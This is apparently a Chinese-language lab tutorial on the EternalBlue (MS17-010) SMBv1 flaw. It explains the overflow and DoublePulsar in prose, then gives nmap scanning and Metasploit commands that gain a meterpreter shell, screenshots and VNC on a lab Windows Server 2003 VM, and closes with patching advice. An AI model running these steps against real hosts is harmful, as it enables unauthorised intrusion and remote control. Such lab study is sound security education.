概述:
永恒之蓝(英语:EternalBlue)是美国国家安全局开发的漏洞利用程序,于2017年4月14日被黑客组织影子掮客泄漏。该工具利用445/TCP端口的文件分享协议的漏洞进行散播。
尽管微软于2017年3月14日已发布补丁修复该漏洞,但在5月12日WannaCry勒索软件利用此漏洞传播时,大量未安装补丁的用户仍然受害。
鉴于WannaCry的严重性,微软罕见地为已终止支持的Windows XP、Windows 8和Windows Server 2003发布了紧急安全更新。
2017年6月27日,勒索软件NotPetya再次利用永恒之蓝漏洞在欧洲传播。与普通勒索软件不同,NotPetya以破坏而非勒索为目的,即使支付赎金也无法恢复文件。真正的Petya作者随后公布了解密密钥,并声明与此次攻击无关。
原理:
永恒之蓝利用的是Windows系统文件共享功能中一个严重的远程代码执行漏洞。攻击者无需用户名和密码,只要目标机器的445端口是开放的,就可以通过网络直接发送一段精心构造的数据包,在目标系统上执行任意代码。
核心漏洞:SMBv1 协议中的“缓冲区溢出”
永恒之蓝攻击的是Windows的SMBv1 服务器消息块协议。这个协议主要用于网络上的文件共享、打印机共享等。漏洞的核心是一个经典的 缓冲区溢出 漏洞。
- 什么是缓冲区?
我们可以把缓冲区想象成一个有固定容量的“容器”或“货架”,用来临时存放程序处理的数据。 - 溢出是如何发生的?
在SMBv1协议处理特定的SMB请求(尤其是与文件事务相关的SMBv1 TRANS2请求)时,程序没有正确地检查用户输入数据的长度。- 攻击者构造一个超长的、畸形的数据包。
- 当Windows系统收到这个数据包时,会按照SMB协议去解析它。
- 由于没有进行长度校验,这个超长的数据会“撑爆”系统预先分配好的那个“缓冲区”,导致多出来的数据覆盖到旁边内存区域。
关键步骤:从溢出到控制
仅仅让程序崩溃(造成蓝屏)不是攻击者的目的,他们的目标是控制你的电脑。永恒之蓝通过以下精妙的步骤实现了这一点:
- 覆盖关键数据,劫持程序流程:
被“撑爆”的缓冲区旁边的内存区域,存放着一些关键数据,比如函数返回地址。攻击者精心设计溢出数据,用他们指定的一个内存地址去覆盖这个返回地址。 - 利用“Shellcode”执行命令:
在溢出的数据中,攻击者会嵌入一小段恶意代码,称为 “Shellcode” 。这段代码的功能通常是:下载并执行勒索软件(如WannaCry)的后端负载,或者在系统上开一个具有高权限的后门。 - 触发漏洞,跳转到攻击代码:
当被攻击的程序(SMB服务)处理完这个畸形数据包,准备返回时,它会去读取那个被覆盖的“返回地址”。这个地址现在指向的是攻击者安排的位置。 - 内核态权限提升:
这里是最精妙也最危险的一步。永恒之蓝利用了一个名为 “DoublePulsar” 的后门。在溢出发生后,Shellcode并不会直接在用户权限下运行,而是利用Windows内核中的一个机制,将执行流程切换到内核模式。- 用户模式:普通程序的运行级别,权限受限。
- 内核模式:操作系统的核心运行级别,拥有对系统的完全控制权。
通过一个精心构造的“任意写入”原语,攻击者可以将自己的Shellcode注入到内核空间,并提升其权限,使其以系统最高权限执行。
攻击流程总结
一个完整的永恒之蓝攻击可以概括为以下几步:
- 扫描:攻击者在网络上扫描开放了445端口的Windows机器。
- 发送恶意包:向目标机器的445端口发送利用SMBv1缓冲区溢出漏洞的精心构造的数据包。
- 触发溢出:目标系统的SMB服务处理该数据包,发生缓冲区溢出,关键内存地址被覆盖。
- 内核提权:利用DoublePulsar技术,将恶意Shellcode注入内核并提升至系统权限。
- 执行载荷:在内核态执行Shellcode,通常会从攻击者控制的服务器下载并运行最终的恶意软件(如WannaCry勒索病毒)。
- 横向移动:被攻陷的机器会变成一个跳板,继续在内部网络中扫描和攻击其他存在漏洞的机器,形成链式反应,这也是WannaCry能迅速蔓延全球的原因。
危害
- 无需用户交互:用户不需要点击任何链接或打开任何文件,只要电脑开机并联网,就可能被攻击。
- 高权限:直接获取系统内核权限,可以为所欲为。
- 蠕虫式传播:结合了漏洞利用和蠕虫特性,可以自我复制和传播。
环境:
Windows Server 2003 ip: 192.168.126.128 关闭防火墙
Kali ip: 192.168.126.129
Windows Server 2003
ip地址: 192.168.126.128


关闭防火墙

Kali
ip a
192.168.126.129

漏洞利用:
1.使用nmap扫一下该网段主机的存活情况
nmap -sS 192.168.126.0/24
找到 IP为:192.168.126.128 的主机开启

2.扫描该主机端口从1-1000的开放情况
nmap -p 1-1000 192.168.126.128

3.扫描该主机的操作系统类型
nmap -O 192.168.126.128

4.扫描该主机上的漏洞
nmap --script=vuln 192.168.126.128
存在 ms17-010 永恒之蓝

Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,可以协助安全工程师进行渗透测试(penetration testing)及入侵检测系统签名开发。
Metasploit项目最为知名的子项目是开源的Metasploit框架,一套针对远程主机进行开发和执行“exploit代码”的工具。其他重要的子项目包括Opcode数据库、shellcode档案、安全研究等内容。
Metasploit项目知名的功能还包括反取证与规避工具,其中的某些工具已经内置在Metasploit Framework里面。
Metasploit(MSF)是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞,是一款专业级漏洞攻击工具
因为只要掌握MSF的使用方法,每个人都可以使用MSF来攻击那些未打过补丁或者刚刚打过补丁的漏洞。
5.进入工具
msfconsole

6.搜索相关漏洞
search ms17-010

7.选择模块
use 10 远程执行代码

8.显示配置项
show options

9.设置一下RHOSTS(靶机的ip地址)
set RHOSTS 192.168.126.128

10.执行攻击
run 或者 exploit

运行成功会出现 meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等。
help命令可以查看可以使用哪些命令
screenshot

xdg-open /root/KMSzAlpc.jpeg


run vnc


shell


预防方案
- 打开防火墙,安装杀毒软件。
- 关闭445端口及不必要的服务。
- 安装对应补丁。